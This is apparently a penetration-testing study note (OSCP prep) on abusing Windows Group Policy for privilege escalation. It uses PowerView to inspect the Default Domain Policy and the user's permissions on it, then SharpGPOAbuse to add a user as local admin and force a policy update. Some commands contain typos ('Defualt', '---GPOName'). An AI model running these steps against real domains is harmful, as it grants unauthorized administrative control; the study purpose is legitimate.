> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/privilege-escalation/windows/gpo.md).

# GPO

Initialize powerview

```
./powerview.ps1
```

Then check for Default Domain Policy:

```
Get-GPO -Name "Defualt Domain Policy"
```

Now after getting Guid to check for permissions:

```
Get-GPPermission -Guid <id> -TargetType User -TargetName <account name>
```

<figure><img src="/files/yvHcD5mux3xePfFM2bjz" alt=""><figcaption></figcaption></figure>

Then use SharpGPOAbuse:

```
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount aditya ---GPOName "Default Domain Policy"
```

Then:

```
gpupdate /force
```
